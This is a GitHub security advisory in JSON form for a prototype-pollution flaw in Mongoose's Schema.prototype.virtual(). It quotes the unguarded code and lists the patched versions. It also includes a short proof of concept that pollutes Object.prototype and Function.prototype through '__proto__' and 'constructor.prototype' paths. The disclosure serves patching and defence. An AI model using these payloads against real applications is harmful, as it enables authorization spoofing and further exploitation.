{"id":"GHSA-6972-9mcm-vhwj","summary":"Mongoose: Prototype pollution via Schema.prototype.virtual()","details":"### Summary\n\nPrototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.\n\n### Details\n\nIn lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:\n\n```javascript\nvirtuals[name] = parts.reduce(function(mem, part, i) {\nmem[part] || (mem[part] = (i === parts.length - 1)\n? new VirtualType(options, name)\n: {});\nreturn mem[part];\n}, this.tree); // lines 2755-2759\n```\n\nUnlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).\n\nA path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.\n\n### Proof of concept\n\n```javascript\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema({});\n\nschema.virtual('__proto__.polluted');\nconsole.log(({}).polluted); // VirtualType instance\nconsole.log(Object.prototype.hasOwnProperty('polluted')); // true\nconsole.log(Object.getOwnPropertyDescriptor(\nObject.prototype, 'polluted').enumerable); // true\n\nschema.virtual('constructor.prototype.opol');\nconsole.log(({}).opol); // true\n\nschema.virtual('hasOwnProperty.__proto__.fpol');\nconsole.log((function(){}).fpol); // Function.prototype polluted\n```\n\n### Impact\n\nAttacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).","aliases":["CVE-2026-125118"],"modified":"2026-11-10T21:00:03.527469283Z","published":"2026-11-10T20:46:33Z","database_specific":{"github_reviewed_at":"2026-11-10T20:46:33Z","nvd_published_at":"2026-11-09T23:17:22Z","cwe_ids":["CWE-1321"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125118"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9"},{"type":"PACKAGE","url":"https://github.com/Automattic/mongoose"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/6.13.12"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/7.8.13"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/8.24.7"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/9.11.4"}],"affected":[{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.13.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.8.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.24.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"}},{"package":{"name":"mongoose","ecosystem":"npm","purl":"pkg:npm/mongoose"},"ranges":[{"type":"SEMVER","events":[{"introduced":"9.0.0"},{"fixed":"9.11.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-6972-9mcm-vhwj/GHSA-6972-9mcm-vhwj.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"}]}